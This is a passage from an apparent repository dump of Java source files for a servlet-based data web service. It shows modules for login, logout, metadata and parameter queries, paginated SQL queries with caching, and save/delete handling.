null) {\n\t\t\tinstance = new LoginModule();\n\t\t}\n\n\t\treturn instance;\n\t}\n\n\t@Override\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\n\tpublic Map<String, Object> readUserInfo(String username, String password)\n\t\t\tthrows TechException {\n\t\tMap<String, Object> result = null;\n\t\tDataSet dataset = new DataSet();\n\t\tdataset.setSqlid(Session.loginsqlid);\n\t\tdataset.getParams().put(\"psusercode\", username);\n\t\tdataset.getParams().put(\"pspassword\", password);\n\t\ttry {\n\t\t\tdataset.open();\n\t\t\tif (dataset.getRecordCount() > 0) {\n\t\t\t\tresult = new HashMap<String, Object>(dataset.getDatas().get(0));\n\t\t\t} else {\n\t\t\t\tthrow new TechException(String.valueOf(dataset\n\t\t\t\t\t\t.getResultParams().get(\"pserrinfo\")));\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\tthrow new TechException(e.getMessage());\n\t\t} finally {\n\t\t\tdataset.close();\n\t\t}\n\n\t\treturn result;\n\t}\n\n\tpublic void createSession(Map<String, Object> in, InputStream input,\n\t\t\tOutputStream output, DataConverter dataConverter,\n\t\t\tMap<String, Object> result) throws TechException {\n\t\tMap<String, Object> sessionobj = new HashMap<String, Object>();\n\t\ttry {\n\t\t\tSession session = null;\n\t\t\tJSONObject inputjson = (JSONObject) dataConverter\n\t\t\t\t\t.readFromInputStream(input);\n\t\t\tString sessionid = inputjson.getString(Session.sessionid);\n\t\t\tif ((sessionid != null) && (!sessionid.equals(\"\"))) {\n\t\t\t\tsession = SessionManager.getInstance().getSession(sessionid);\n\t\t\t\tif (session != null) {\n\t\t\t\t\t// JSONObject userjson = (JSONObject) JSON.parse(session\n\t\t\t\t\t// .getUserInfo());\n\t\t\t\t\t// sessionobj.put(StringConsts.username,\n\t\t\t\t\t// userjson.getString(StringConsts.userNameField));\n\t\t\t\t\t// sessionobj.put(StringConsts.username,\n\t\t\t\t\t// userjson.getString(StringConsts.passwordField));\n\t\t\t\t\t// sessionobj.put(StringConsts.sessionid, sessionid);\n\t\t\t\t} else {\n\t\t\t\t\tMap<String, Object> userinfo = this.readUserInfo(\n\t\t\t\t\t\t\tinputjson.getString(Session.userNameField),\n\t\t\t\t\t\t\tinputjson.getString(Session.userPasswordField));\n\t\t\t\t\tsession = SessionManager.getInstance().CreateLocalSession();\n\t\t\t\t\tsession.setLastAccessTime(System.currentTimeMillis());\n\t\t\t\t\tString passwordEntry = String.valueOf(userinfo\n\t\t\t\t\t\t\t.get(Session.userPasswordField));\n\t\t\t\t\tuserinfo.put(Session.userPasswordField, passwordEntry);\n\t\t\t\t\t// session.setUserInfo(JSON.toJSONString(userinfo));\n\t\t\t\t\tSessionManager.getInstance().setSession(sessionid, session);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tMap<String, Object> userinfo = this.readUserInfo(\n\t\t\t\t\t\tinputjson.getString(Session.userNameField),\n\t\t\t\t\t\tinputjson.getString(Session.userPasswordField));\n\t\t\t\tsession = SessionManager.getInstance().CreateLocalSession();\n\t\t\t\tsession.setLastAccessTime(System.currentTimeMillis());\n\t\t\t\tSessionManager.getInstance().setSession(\n\t\t\t\t\t\tString.valueOf(in.get(Session.sessionid)), session);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\tLog.error(e.getClass().getName() + \" \\n\" + e.getMessage());\n\t\t\tthrow new TechException(e.getClass().getName() + \" \\n\"\n\t\t\t\t\t+ e.getMessage());\n\t\t}\n\t}\n\n\t@Override\n\tpublic void process(Map<String, Object> in, boolean isMultiPart,\n\t\t\tInputStream inputs, OutputStream outs, List<FileItem> list,\n\t\t\tMap<String, Object> results, DataConverter dataConverter)\n\t\t\tthrows TechException {\n\t\t// createSession(in, input, output, serialization, results);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/src/java/com/techsoft/modules/LogoutModule.java",
    "content": "package com.techsoft.modules;\n\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.apache.commons.fileupload.FileItem;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.techsoft.DataConverter;\nimport com.techsoft.ServletModule;\nimport com.techsoft.TechException;\n\npublic class LogoutModule implements ServletModule {\n\tprivate static final Logger Log = LoggerFactory.getLogger(LogoutModule.class);\n\tprivate static final String name = \"logout\";\n\tprivate static LogoutModule instance = null;\n\n\tprivate LogoutModule() {\n\t\tLog.info(\"Log out...\");\n\t}\n\n\tpublic static LogoutModule getInstance() {\n\t\tif (instance == null) {\n\t\t\tinstance = new LogoutModule();\n\t\t}\n\n\t\treturn instance;\n\t}\n\n\t@Override\n\tpublic String getName() {\n\t\treturn LogoutModule.name;\n\t}\n\n\tpublic void removeSession(Map<String, Object> in, InputStream input, Map<String, Object> result) {\n\n\t}\n\n\t@Override\n\tpublic void process(Map<String, Object> in, boolean isMultiPart, InputStream inputs, OutputStream outs,\n\t\t\tList<FileItem> list, Map<String, Object> results, DataConverter dataConverter) throws TechException {\n\t\tremoveSession(in, inputs, results);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/src/java/com/techsoft/modules/QueryMetaModule.java",
    "content": "package com.techsoft.modules;\n\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.apache.commons.fileupload.FileItem;\n\nimport com.techsoft.DataConverter;\nimport com.techsoft.MetaData;\nimport com.techsoft.ServletModule;\nimport com.techsoft.TechException;\nimport com.techsoft.sql.SQLObjectManager;\n\npublic class QueryMetaModule implements ServletModule {\n\n\tprivate static final String moduleName = \"querymeta\";\n\tprivate static final String metasqldefine = \"metasqldefine\";\n\tprivate static final String sql_options = \"sql_options\";\n\tprivate static QueryMetaModule instance = null;\n\n\t@Override\n\tpublic String getName() {\n\t\treturn QueryMetaModule.moduleName;\n\t}\n\n\tpublic static QueryMetaModule getInstance() {\n\t\tif (instance == null) {\n\t\t\tinstance = new QueryMetaModule();\n\t\t}\n\n\t\treturn instance;\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tpublic Map<String, Object> readParamfromInputStream(Map<String, Object> in,\n\t\t\tInputStream input, DataConverter dataConverter) {\n\t\tMap<String, Object> result = null;\n\t\tif (input != null) {\n\t\t\ttry {\n\t\t\t\tObject obj = dataConverter.readFromInputStream(input);\n\t\t\t\tif (obj != null) {\n\t\t\t\t\tresult = (Map<String, Object>) dataConverter\n\t\t\t\t\t\t\t.deserializeObject(obj);\n\t\t\t\t} else {\n\t\t\t\t\tresult = new HashMap<String, Object>();\n\t\t\t\t}\n\t\t\t} catch (Exception e) {\n\t\t\t\t// 输入流中可能不存在内容，在Ajax调用时\n\t\t\t\tresult = new HashMap<String, Object>();\n\t\t\t}\n\n\t\t} else {\n\t\t\tresult = new HashMap<String, Object>();\n\t\t}\n\t\tString key = null;\n\t\tObject value = null;\n\t\tIterator<String> iter = in.keySet().iterator();\n\t\twhile (iter.hasNext()) {\n\t\t\tkey = iter.next();\n\t\t\tvalue = in.get(key);\n\t\t\tvalue = dataConverter.deserializeObject(value);\n\t\t\tresult.put(key, value);\n\t\t}\n\t\treturn result;\n\t}\n\n\t@Override\n\tpublic void process(Map<String, Object> in, boolean isMultiPart,\n\t\t\tInputStream inputs, OutputStream outs, List<FileItem> list,\n\t\t\tMap<String, Object> results, DataConverter dataConverter)\n\t\t\tthrows TechException {\n\t\ttry {\n\t\t\tMap<String, Object> input = this.readParamfromInputStream(in,\n\t\t\t\t\tinputs, dataConverter);\n\n\t\t\tString metaquerysql = (String) input\n\t\t\t\t\t.get(QueryMetaModule.metasqldefine);\n\t\t\tString sql_options = (String) input\n\t\t\t\t\t.get(QueryMetaModule.sql_options);\n\t\t\tBoolean checked = Integer.valueOf(sql_options) / Math.pow(2, 0) % 2 >= 1;\n\t\t\tif (metaquerysql != null) {\n\t\t\t\tmetaquerysql = metaquerysql.toLowerCase().trim();\n\t\t\t}\n\t\t\tList<MetaData> metaDatas = SQLObjectManager.getInstance()\n\t\t\t\t\t.queryMetaData(metaquerysql, checked);\n\t\t\tresults.put(\"datas\", metaDatas);\n\t\t} catch (Exception e) {\n\t\t\tthrow new TechException(e.getClass().getName() + \" \\n\"\n\t\t\t\t\t+ e.getMessage());\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/src/java/com/techsoft/modules/QueryModule.java",
    "content": "package com.techsoft.modules;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.sql.Connection;\nimport java.sql.SQLException;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.apache.commons.fileupload.FileItem;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.techsoft.Cache;\nimport com.techsoft.DBException;\nimport com.techsoft.DataConverter;\nimport com.techsoft.DataExecutor;\nimport com.techsoft.SQLObject;\nimport com.techsoft.SQLParam;\nimport com.techsoft.ServletModule;\nimport com.techsoft.StringConsts;\nimport com.techsoft.TechException;\nimport com.techsoft.cache.CacheFactory;\nimport com.techsoft.container.DataServer;\nimport com.techsoft.executor.DataExecutorFactory;\nimport com.techsoft.sql.SQLObjectManager;\n\npublic class QueryModule implements ServletModule {\n\tprivate static final Logger Log = LoggerFactory\n\t\t\t.getLogger(QueryModule.class);\n\tprivate static QueryModule instance = null;\n\n\tprivate QueryModule() {\n\t}\n\n\tpublic static QueryModule getInstance() {\n\t\tif (instance == null) {\n\t\t\tinstance = new QueryModule();\n\t\t}\n\n\t\treturn instance;\n\t}\n\n\t@Override\n\tpublic String getName() {\n\t\treturn StringConsts.querymodule;\n\t}\n\n\tprivate List<Map<String, Object>> queryData(SQLObject sqlobj,\n\t\t\tMap<String, Object> paramobj, Map<String, Object> globalParams,\n\t\t\tInteger pageNo, Integer pageSize, DataExecutor executor,\n\t\t\tConnection nativeconn, Map<String, Object> results)\n\t\t\tthrows SQLException, IOException, DBException {\n\t\t/*\n\t\t * Log.info(\"sqlid=\" + sqlobj.getSqlId() + \" params is \" +\n\t\t * paramobj.toString());\n\t\t */\n\t\tList<Map<String, Object>> result = null;\n\t\tMap<String, Object> ignoreCaseParams = new HashMap<String, Object>();\n\t\tMap<String, Object> ignoreCaseGlobalParams = new HashMap<String, Object>();\n\t\tInteger startnum = 0;\n\t\tInteger endnum = 0;\n\t\tif ((pageNo != null) && (pageNo > 0)) {\n\t\t\tstartnum = (pageNo - 1) * pageSize + 1;\n\t\t\tendnum = pageNo * pageSize;\n\n\t\t\tparamobj.put(\"piStartNo\", startnum);\n\t\t\tparamobj.put(\"piEndNo\", endnum);\n\t\t}\n\n\t\t// 处理参数名称的大小写\n\t\tif (paramobj != null) {\n\t\t\tString key = null;\n\t\t\tIterator<String> strIter = paramobj.keySet().iterator();\n\t\t\twhile (strIter.hasNext()) {\n\t\t\t\tkey = strIter.next();\n\t\t\t\tignoreCaseParams.put(key.toLowerCase(), paramobj.get(key));\n\t\t\t}\n\t\t}\n\n\t\tif (globalParams != null) {\n\t\t\tString key = null;\n\t\t\tIterator<String> strIter = globalParams.keySet().iterator();\n\t\t\twhile (strIter.hasNext()) {\n\t\t\t\tkey = strIter.next();\n\t\t\t\tignoreCaseGlobalParams.put(key.toLowerCase(),\n\t\t\t\t\t\tglobalParams.get(key));\n\t\t\t}\n\t\t}\n\n\t\tSQLParam sqlparam = null;\n\t\tSQLParam itersparam = null;\n\t\tList<SQLParam> params = new ArrayList<SQLParam>();\n\t\tIterator<SQLParam> sqliters = sqlobj.getSelectParams().iterator();\n\t\twhile (sqliters.hasNext()) {\n\t\t\tsqlparam = new SQLParam();\n\t\t\titersparam = sqliters.next();\n\t\t\tsqlparam.setDtype(itersparam.getDtype());\n\t\t\tsqlparam.setDtypename(itersparam.getDtypename());\n\t\t\tsqlparam.setIndex(itersparam.getIndex());\n\t\t\tsqlparam.setIotype(itersparam.getIotype());\n\t\t\tsqlparam.setName(itersparam.getName().toLowerCase());\n\t\t\t// sqlparam.buildPositions();\n\t\t\tparams.add(sqlparam);\n\t\t}\n\n\t\tIterator<SQLParam> iter = params.iterator();\n\t\tSQLParam param = null;\n\t\twhile (iter.hasNext()) {\n\t\t\tparam = iter.next();\n\t\t\tif (param.getName().equalsIgnoreCase(StringConsts.pageNo)) {\n\t\t\t\tparam.setValue(pageNo);\n\t\t\t} else if (param.getName().equalsIgnoreCase(StringConsts.pageSize)) {\n\t\t\t\tparam.setValue(pageSize);\n\t\t\t} else if (ignoreCaseParams.get(param.getName()) != null) {\n\t\t\t\tparam.setValue(ignoreCaseParams.get(param.getName()));\n\t\t\t} else if (ignoreCaseGlobalParams.get(param.getName()) != null) {\n\t\t\t\tparam.setValue(ignoreCaseGlobalParams.get(param.getName()));\n\t\t\t}\n\t\t}\n\n\t\tif (!sqlobj.getIsCursor()) {\n\t\t\tif (pageNo > 0) {\n\t\t\t\tresults.put(StringConsts.recordcount, executor\n\t\t\t\t\t\t.queryRecordCount(sqlobj.getSelectSql(), params,\n\t\t\t\t\t\t\t\tnativeconn));\n\t\t\t\tresult = executor.queryDataByPage(sqlobj.getSelectSql(), false,\n\t\t\t\t\t\tpageNo, pageSize, params, nativeconn);\n\t\t\t} else {\n\t\t\t\tresult = executor.queryData(sqlobj.getSelectSql(), false,\n\t\t\t\t\t\tparams, nativeconn);\n\t\t\t\tresults.put(StringConsts.recordcount, result.size());\n\t\t\t}\n\t\t} else {\n\t\t\tresult = executor.queryData(sqlobj.getSelectSql(),\n\t\t\t\t\tsqlobj.getIsCursor(), params, nativeconn);\n\n\t\t\tif ((pageNo != null) && (pageNo > 0)) {\n\t\t\t\tIterator<SQLParam> iterparam = params.iterator();\n\t\t\t\twhile (iterparam.hasNext()) {\n\t\t\t\t\tparam = iterparam.next();\n\t\t\t\t\tif (param.getIotype().equalsIgnoreCase(\n\t\t\t\t\t\t\tSQLParam.ParamType.out.name())) {\n\t\t\t\t\t\tresults.put(param.getName().toLowerCase(),\n\t\t\t\t\t\t\t\tparam.getValue());\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (results.get(\"piTotalRecord\".toLowerCase()) != null) {\n\t\t\t\t\tresults.put(StringConsts.recordcount,\n\t\t\t\t\t\t\tresults.get(\"piTotalRecord\".toLowerCase()));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn result;\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tpublic Map<String, Object> readParamfromInputStream(Map<String, Object> in,\n\t\t\tInputStream input, DataConverter dataConverter) {\n\t\tMap<String, Object> result = null;\n\t\tif (input != null) {\n\t\t\ttry {\n\t\t\t\tObject obj = dataConverter.readFromInputStream(input);\n\t\t\t\tif (obj != null) {\n\t\t\t\t\tresult = (Map<String, Object>) dataConverter\n\t\t\t\t\t\t\t.deserializeObject(obj);\n\t\t\t\t} else {\n\t\t\t\t\tresult = new HashMap<String, Object>();\n\t\t\t\t}\n\t\t\t} catch (Exception e) {\n\t\t\t\t// 输入流中可能不存在内容，在Ajax调用时\n\t\t\t\tresult = new HashMap<String, Object>();\n\t\t\t}\n\n\t\t} else {\n\t\t\tresult = new HashMap<String, Object>();\n\t\t}\n\t\tString key = null;\n\t\tObject value = null;\n\t\tIterator<String> iter = in.keySet().iterator();\n\t\twhile (iter.hasNext()) {\n\t\t\tkey = iter.next();\n\t\t\tvalue = in.get(key);\n\t\t\tvalue = dataConverter.deserializeObject(value);\n\t\t\tresult.put(key, value);\n\t\t}\n\t\treturn result;\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tpublic Map<String, Object> queryService(Map<String, Object> inputs,\n\t\t\tMap<String, Object> results) throws TechException {\n\t\tString sqlid = null;\n\t\tInteger pageno = 0;\n\t\tInteger pagesize = 0;\n\t\tMap<String, Object> paramobj = null;\n\t\ttry {\n\t\t\tsqlid = (String) inputs.get(StringConsts.sqlid);\n\t\t\tif ((sqlid == null) || (sqlid.equals(\"\"))) {\n\t\t\t\tthrow new Exception(\"sqlid不能为空!\");\n\t\t\t}\n\t\t\tif ((inputs.get(StringConsts.pageNo) != null)\n\t\t\t\t\t&& (!inputs.get(StringConsts.pageNo).equals(\"\"))) {\n\t\t\t\tpageno = (Integer) inputs.get(StringConsts.pageNo);\n\t\t\t}\n\t\t\tif ((inputs.get(StringConsts.pageSize) != null)\n\t\t\t\t\t&& (!inputs.get(StringConsts.pageSize).equals(\"\"))) {\n\t\t\t\tpagesize = (Integer) inputs.get(StringConsts.pageSize);\n\t\t\t}\n\t\t\tif ((inputs.get(StringConsts.params) != null)\n\t\t\t\t\t&& (!inputs.get(StringConsts.params).equals(\"\"))) {\n\t\t\t\tparamobj = (Map<String, Object>) inputs\n\t\t\t\t\t\t.get(StringConsts.params);\n\t\t\t}\n\t\t\tSQLObject sqlobj = SQLObjectManager.getInstance().getSQLObjectById(\n\t\t\t\t\tsqlid);\n\t\t\tif (sqlobj == null) {\n\t\t\t\tthrow new TechException(\"id值为 [\" + sqlid\n\t\t\t\t\t\t+ \"]的SQLObject并不存在， 请检查!\");\n\t\t\t}\n\n\t\t\tConnection conn = DataServer.getInstance().getPool()\n\t\t\t\t\t.getConnection();\n\t\t\ttry {\n\t\t\t\tConnection nativeconn = DataServer.getInstance().getPool()\n\t\t\t\t\t\t.getNativeConnection(conn);\n\t\t\t\ttry {\n\t\t\t\t\tDataExecutor executor = DataExecutorFactory\n\t\t\t\t\t\t\t.getExecutor(DataServer.getInstance()\n\t\t\t\t\t\t\t\t\t.getProperties().getDbtype());\n\n\t\t\t\t\tList<Map<String, Object>> datas = this.queryData(sqlobj,\n\t\t\t\t\t\t\tparamobj, inputs, pageno, pagesize, executor,\n\t\t\t\t\t\t\tnativeconn, results);\n\n\t\t\t\t\tresults.put(StringConsts.outdata, datas);\n\t\t\t\t\tresults.put(StringConsts.outmetadata, sqlobj.getMetaDatas());\n\t\t\t\t\tnativeconn.commit();\n\n\t\t\t\t\t// 同步缓存数据\n\t\t\t\t\tif (sqlobj.getIsSQLIDCache() || sqlobj.getIsKeyCache()) {\n\t\t\t\t\t\tCache<String, Object> sqlcache = CacheFactory\n\t\t\t\t\t\t\t\t.getCache(sqlobj.getSqlId());\n\t\t\t\t\t\tString keyfield = sqlobj.getKeyField();\n\t\t\t\t\t\tif ((keyfield != null) && (!keyfield.equals(\"\"))) {\n\n\t\t\t\t\t\t\tIterator<Map<String, Object>> iter = datas\n\t\t\t\t\t\t\t\t\t.iterator();\n\t\t\t\t\t\t\tMap<String, Object> data = null;\n\t\t\t\t\t\t\tString keyValue = null;\n\t\t\t\t\t\t\twhile (iter.hasNext()) {\n\t\t\t\t\t\t\t\tdata = iter.next();\n\t\t\t\t\t\t\t\tif (data.get(keyfield) != null) {\n\t\t\t\t\t\t\t\t\tkeyValue = String.valueOf(data\n\t\t\t\t\t\t\t\t\t\t\t.get(keyfield));\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif ((keyValue != null)\n\t\t\t\t\t\t\t\t\t\t&& (!keyValue.equals(\"\"))) {\n\t\t\t\t\t\t\t\t\tsqlcache.put(keyValue,\n\t\t\t\t\t\t\t\t\t\t\tnew HashMap<String, Object>(data));\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tLog.error(\"SQLID值为: [\" + sqlobj.getSqlId()\n\t\t\t\t\t\t\t\t\t\t\t+ \"] 设置的主键字段不正确, 不能进行缓存, 请检查！\");\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tLog.error(\"SQLID值为: [\" + sqlobj.getSqlId()\n\t\t\t\t\t\t\t\t\t+ \"] 设置的主键字段不存在, 不能进行缓存, 请检查！\");\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} catch (Exception e) {\n\t\t\t\t\tnativeconn.rollback();\n\t\t\t\t\tthrow e;\n\t\t\t\t}\n\t\t\t} finally {\n\t\t\t\tconn.close();\n\t\t\t\tconn = null;\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\tLog.error(e.getClass().getName() + \" \\n\" + e.getMessage());\n\t\t\tthrow new TechException(e.getClass().getName() + \" \\n\"\n\t\t\t\t\t+ e.getMessage());\n\t\t}\n\n\t\treturn results;\n\t}\n\n\t@Override\n\tpublic void process(Map<String, Object> in, boolean isMultiPart,\n\t\t\tInputStream inputs, OutputStream outs, List<FileItem> list,\n\t\t\tMap<String, Object> result, DataConverter dataConverter)\n\t\t\tthrows TechException {\n\t\tMap<String, Object> input = this.readParamfromInputStream(in, inputs,\n\t\t\t\tdataConverter);\n\t\tthis.queryService(input, result);\n\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/src/java/com/techsoft/modules/QueryParamModule.java",
    "content": "package com.techsoft.modules;\n\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.apache.commons.fileupload.FileItem;\n\nimport com.techsoft.DataConverter;\nimport com.techsoft.ServletModule;\nimport com.techsoft.TechException;\nimport com.techsoft.sql.SQLObjectManager;\n\npublic class QueryParamModule implements ServletModule {\n\tprivate static final String moduleName = \"queryparams\";\n\tprivate static final String sqldefine = \"sqldefine\";\n\tprivate static QueryParamModule instance = null;\n\n\tprivate QueryParamModule() {\n\t}\n\n\tpublic static QueryParamModule getInstance() {\n\t\tif (instance == null) {\n\t\t\tinstance = new QueryParamModule();\n\t\t}\n\n\t\treturn instance;\n\t}\n\n\t@Override\n\tpublic String getName() {\n\t\treturn QueryParamModule.moduleName;\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tpublic Map<String, Object> readParamfromInputStream(Map<String, Object> in,\n\t\t\tInputStream input, DataConverter dataConverter) {\n\t\tMap<String, Object> result = null;\n\t\tif (input != null) {\n\t\t\ttry {\n\t\t\t\tObject obj = dataConverter.readFromInputStream(input);\n\t\t\t\tif (obj != null) {\n\t\t\t\t\tresult = (Map<String, Object>) dataConverter\n\t\t\t\t\t\t\t.deserializeObject(obj);\n\t\t\t\t} else {\n\t\t\t\t\tresult = new HashMap<String, Object>();\n\t\t\t\t}\n\t\t\t} catch (Exception e) {\n\t\t\t\t// 输入流中可能不存在内容，在Ajax调用时\n\t\t\t\tresult = new HashMap<String, Object>();\n\t\t\t}\n\n\t\t} else {\n\t\t\tresult = new HashMap<String, Object>();\n\t\t}\n\t\tString key = null;\n\t\tObject value = null;\n\t\tIterator<String> iter = in.keySet().iterator();\n\t\twhile (iter.hasNext()) {\n\t\t\tkey = iter.next();\n\t\t\tvalue = in.get(key);\n\t\t\tvalue = dataConverter.deserializeObject(value);\n\t\t\tresult.put(key, value);\n\t\t}\n\t\treturn result;\n\t}\n\n\t@Override\n\tpublic void process(Map<String, Object> in, boolean isMultiPart,\n\t\t\tInputStream inputs, OutputStream outs, List<FileItem> list,\n\t\t\tMap<String, Object> result, DataConverter dataConverter)\n\t\t\tthrows TechException {\n\t\tMap<String, Object> input = this.readParamfromInputStream(in, inputs,\n\t\t\t\tdataConverter);\n\n\t\tSQLObjectManager.getInstance().queryParams(\n\t\t\t\t(String) input.get(QueryParamModule.sqldefine), result);\n\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/src/java/com/techsoft/modules/SaveModule.java",
    "content": "package com.techsoft.modules;\n\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.sql.Connection;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.apache.commons.fileupload.FileItem;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.alibaba.fastjson.JSONObject;\nimport com.techsoft.Cache;\nimport com.techsoft.DataConverter;\nimport com.techsoft.DataExecutor;\nimport com.techsoft.SQLObject;\nimport com.techsoft.SQLParam;\nimport com.techsoft.ServletModule;\nimport com.techsoft.StringConsts;\nimport com.techsoft.TechException;\nimport com.techsoft.cache.CacheFactory;\nimport com.techsoft.container.DataServer;\nimport com.techsoft.executor.DataExecutorFactory;\nimport com.techsoft.sql.SQLObjectManager;\n\npublic class SaveModule implements ServletModule {\n\tprivate static final Logger Log = LoggerFactory.getLogger(SaveModule.class);\n\tprivate static SaveModule instance = null;\n\n\tprivate SaveModule() {\n\t}\n\n\tpublic static SaveModule getInstance() {\n\t\tif (instance == null) {\n\t\t\tinstance = new SaveModule();\n\t\t}\n\n\t\treturn instance;\n\t}\n\n\t@Override\n\tpublic String getName() {\n\t\treturn StringConsts.savemodule;\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tpublic Map<String, Object> readParamfromInputStream(Map<String, Object> in,\n\t\t\tInputStream input, DataConverter dataConverter) {\n\t\tMap<String, Object> result = null;\n\t\tif (input != null) {\n\t\t\ttry {\n\t\t\t\tObject obj = dataConverter.readFromInputStream(input);\n\t\t\t\tif (obj != null) {\n\t\t\t\t\tresult = (Map<String, Object>) dataConverter\n\t\t\t\t\t\t\t.deserializeObject(obj);\n\t\t\t\t} else {\n\t\t\t\t\tresult = new HashMap<String, Object>();\n\t\t\t\t}\n\t\t\t} catch (Exception e) {\n\t\t\t\tresult = new HashMap<String, Object>();\n\t\t\t}\n\n\t\t} else {\n\t\t\tresult = new HashMap<String, Object>();\n\t\t}\n\t\tString key = null;\n\t\tObject value = null;\n\t\tIterator<String> iter = in.keySet().iterator();\n\t\twhile (iter.hasNext()) {\n\t\t\tkey = iter.next();\n\t\t\tvalue = in.get(key);\n\t\t\tvalue = dataConverter.deserializeObject(value);\n\t\t\tresult.put(key, value);\n\t\t}\n\t\treturn result;\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tpublic void saveDeleted(List<Object> list, Map<String, Object> result,\n\t\t\tDataExecutor executor, SQLObject sqlobj,\n\t\t\tMap<String, Object> globalParams, Connection conn)\n\t\t\tthrows TechException {\n\t\tMap<String, Object> map = null;\n\t\tMap<String, Object> ignoremap = new HashMap<String, Object>();\n\t\tMap<String, Object> ignoreCaseGlobalParams = new HashMap<String, Object>();\n\t\tList<SQLParam> params = null;\n\t\tIterator<Object> iter = list.iterator();\n\t\tIterator<SQLParam> iterparam = null;\n\t\tIterator<String> keyiter = null;\n\t\tString key = null;\n\t\tSQLParam param = null;\n\t\tString paramName = null;\n\t\tObject paramValue = null;\n\t\tif (globalParams != null) {\n\t\t\tIterator<String> strIter = globalParams.keySet().iterator();\n\t\t\twhile (strIter.hasNext()) {\n\t\t\t\tkey = strIter.next();\n\t\t\t\tignoreCaseGlobalParams.put(key.toLowerCase(),\n\t\t\t\t\t\tglobalParams.get(key));\n\t\t\t}\n\t\t}\n\t\tList<Map<String, Object>> deleted = new ArrayList<Map<String, Object>>();\n\t\twhile (iter.hasNext()) {\n\t\t\tignoremap.clear();\n\t\t\tmap = (Map<String, Object>) iter.next();\n\t\t\tkeyiter = map.keySet().iterator();\n\t\t\twhile (keyiter.hasNext()) {\n\t\t\t\tkey = keyiter.next();\n\t\t\t\tignoremap.put(key.toLowerCase(), map.get(key));\n\t\t\t}\n\t\t\tparams = new ArrayList<SQLParam>(sqlobj.getDeleteParams());\n\n\t\t\titerparam = params.iterator();\n\t\t\twhile (iterparam.hasNext()) {\n\t\t\t\tparam = iterparam.next();\n\t\t\t\tparamName = param.getName().toLowerCase();\n\t\t\t\tif (ignoremap.get(paramName) != null) {\n\t\t\t\t\tparamValue = ignoremap.get(paramName);\n\t\t\t\t\tparam.setValue(paramValue);\n\t\t\t\t} else if (ignoreCaseGlobalParams.get(paramName) != null) {\n\t\t\t\t\tparamValue = ignoreCaseGlobalParams.get(paramName);\n\t\t\t\t\tparam.setValue(paramValue);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tMap<String, Object> returnparam = new HashMap<String, Object>(map);\n\t\t\ttry {\n\t\t\t\tMap<String, Object> eResult = executor.saveData(\n\t\t\t\t\t\tsqlobj.getDeleteSql(), params, conn);\n\t\t\t\titerparam = params.iterator();\n\t\t\t\twhile (iterparam.hasNext()) {\n\t\t\t\t\tparam = iterparam.next();\n\t\t\t\t\tif (param.getIotype().equalsIgnoreCase(\n\t\t\t\t\t\t\tSQLParam.ParamType.out.name())\n\t\t\t\t\t\t\t|| param.getIotype().equalsIgnoreCase(\n\t\t\t\t\t\t\t\t\tSQLParam.ParamType.inout.name())) {\n\t\t\t\t\t\treturnparam.put(param.getName(), param.getValue());\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (eResult.size() > 0) {\n\t\t\t\t\treturnparam.put(StringConsts.rowresult,\n\t\t\t\t\t\t\teResult.get(StringConsts.rowresult));\n\t\t\t\t\treturnparam.put(StringConsts.rowdesc,\n\t\t\t\t\t\t\teResult.get(StringConsts.rowdesc));\n\t\t\t\t} else {\n\t\t\t\t\treturnparam.put(StringConsts.rowresult, \"1\");\n\t\t\t\t\treturnparam.put(StringConsts.rowdesc, \"\");\n\t\t\t\t}\n\t\t\t} catch (Exception e) {\n\t\t\t\tthrow new TechException(sqlobj.getSqlId()\n\t\t\t\t\t\t+ \" delete Exception: \" + e.getMessage());\n\t\t\t} finally {\n\t\t\t\tif (returnparam != null) {\n\t\t\t\t\tdeleted.add(returnparam);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tresult.put(StringConsts.deletes, deleted);\n\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tpublic void saveUpdated(List<Object> list, Map<String, Object> 